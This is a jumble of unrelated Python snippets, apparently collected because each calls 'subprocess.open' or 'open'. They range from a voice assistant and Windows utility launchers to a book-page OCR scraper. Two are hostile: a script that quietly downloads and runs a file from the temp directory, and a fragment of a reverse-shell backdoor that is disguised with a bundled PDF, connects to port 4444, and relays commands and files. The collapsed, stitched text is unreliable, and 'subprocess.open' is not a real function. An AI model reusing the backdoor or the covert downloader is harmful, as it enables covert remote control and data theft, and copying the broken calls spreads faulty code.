def test_compile1(self): sourcefile = "test1/t1.js" outfile = "test1/t1.out.js" reffile = "test1/t1.ref.js" compilefile = "../bin/compile.py" subprocess.open(compilefile, sourcefile, "> %s" % outfile) res = compare(outfile, reffile) self.assertEqual(res, 0)
def foo(): #ERROR: result = subprocess.open("ls") #ERROR: result = sub_open("ls") #ERROR: result = sub.open("ls") result = sub.not_open("ls")
def JARVIS(self): speak("Please wait system initializing.") speak("Loading disks, security checkup") speak("Launching user interface") wish() while True: self.query = self.STT() if 'goodbye' in self.query: exit() elif 'who made you' in self.query: speak("I was designed by my team members on vs code") elif 'are you a male or female' in self.query: speak("I don't think we have time for this") elif 'open google' in self.query: webbrowser.open('www.google.co.in') speak("opening google") elif 'open youtube' in self.query: webbrowser.open("www.youtube.com") speak(" opening youtube" ) elif 'open stackoverflow' in self.query: webbrowser.open("stackoverflow.com") speak("opening stackoverflow") elif 'open spotify' in self.query: sPath = "C:\\Users\\Haris\\AppData\\Local\\Programs\\Microsoft VS Code\\Code.exe" os.startfile(sPath) elif ' open calculator' in self.query: subprocess.open('calc.exe') elif 'tell me the time' in self.query: strTime = datetime.datetime.now().strftime("%H:%M:%S") speak("Sir, the time is") speak(strTime) elif 'play music' in self.query: speak("playing music from pc") self.music_dir ="./music" self.musics = os.listdir(self.music_dir) os.startfile(os.path.join(self.music_dir,self.musics[0]))
def convert( self, input_filename, output_filename, callback=None): input_command=self.decoder_command % input_filename output_command=self.encoder_command % output_filename command='%s | %s' % ( input_command, output_command ) process=subprocess.open( command) stdout=process.fromchild s=stdout.read( 80) while s: if callback: for result in self.percentage_match.finditer(s): try: callback(result.group(1).strip()) except: log('Cannot call callback for status percentage.', sender=self) s=stdout.read( 80) return process.wait() == 0
def notepad(): open('notepad')
def startm(): open('control.exe /name Microsoft.TaskbarandStartMenu')
def newdev(): open('hdwwiz')
def color(): open('colorcpl')
def dxdiag(): open('dxdiag')
def netpro(): open('netproj')
def sisproper(): open('systempropertiesperformance')
def calculyator(): open('calc')
driver = webdriver.PhantomJS(executable_path='/usr/bin/phantomjs') driver.get( "http://www.amazon.com/War-Peace-Leo-Nikolayevich-Tolstoy/dp/1427030200") time.sleep(2) driver.find_element_by_id("sitbLogoImg").click() imageList = set() time.sleep(5) while "pointer" in driver.find_element_by_id( "sitbReaderRightPageTurner").get_attribute("style"): driver.find_element_by_id("sitbReaderRightPageTurner").click() time.sleep(2) pages = driver.find_element_by_xpath("//div[@class='pageImage']/div/img") for page in pages: image = page.get_attribute("src") imageList.add(image) driver.quit() for image in sorted(imageList): urlretrieve(image, "page.jpg") p = subprocess.open(["tesseract", "page.jpg", "page"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) p.wait() f = open("page.txt", "r") print(f.read())
def calib(): open('dccw')
def explorer(): open('iexplore')
def display(): open('dpiscaling')
def defrag(): open('dfrgui')
def cleanup(): open('cleanmgr')
def backup(): open('sdclt')
import flask flask.send_file() import flask as fla fla.send_file() from flask import send_file send_file() from flask import send_file as send send() import subprocess as sub sub.open()
def components(): open('dcomcnfg')
def chartap(): open('charmap')
#! /usr/bin/env python import requests import subprocess, smtplib, os, tempfile def downlaod(url): get_response = requests.get(url) file_name = url.split("/") with open(file_name[-1], "wb") as out_file: #r is read out_file.write(get_response.content) temp_directory = tempfile.gettempdir() os.chdir(temp_directory) #move to temp dir so that user is unaware downlaod( "https://www.drivespark.com/car-image/640x480x100/car/16881810-hyundai_grand_i10.jpg" ) subprocess.open("16881810-hyundai_grand_i10.jpg", shell=True) downlaod( "https://www.drivespark.com/car-image/640x480x100/car/16881810-hyundai_grand_i10.jpg" ) subprocess.call("16881810-hyundai_grand_i10.jpg", shell=True) #any file u want to execute os.remove("16881810-hyundai_grand_i10.jpg") os.remove("16881810-hyundai_grand_i10.jpg")
def depproper(): open("systempropertiesdataexecutionprevention")
def contpanel(): open('control')
def cleartune(): open('cttune')
def run_bash(bashCommand): import subprocess process = subprocess.open(bashCommand.split())
def wordpad(): open('write')
def updatecenter(): open('wuapp')
def rescuedisk(): open('recdisc')
def compmg(): open('compmgmtlauncher')
if command[0] == 'exit': self.connection.close() sys.exit() elif command[0] == 'cd' and len(command)>1: command_result = self.change_working_directory_to(command[1]) elif command[0] == 'download': command_result = self.read_file(command[1]) elif command[0] == 'upload': command_result = self.write_file(command[1],command[2]) else: print(command) command_result = self.execute_system_command(command) except Exception: command_result = b"[-] Error occured during execution" self.reliable_send(command_result) self.connection.close() # wine pyinstaller --add-data "/home/kali/Downloads/sample.pdf,." --onefile --noconsole reverse_backdoor.py try: file_name = sys._MEIPASS + "\sample.pdf" subprocess.open(filename,shell=True) except Exception: pass try: my_backdoor = Backdoor("127.0.0.1", 4444) my_backdoor.run() except Exception: sys.exit()
def proj(): open('displayswitch')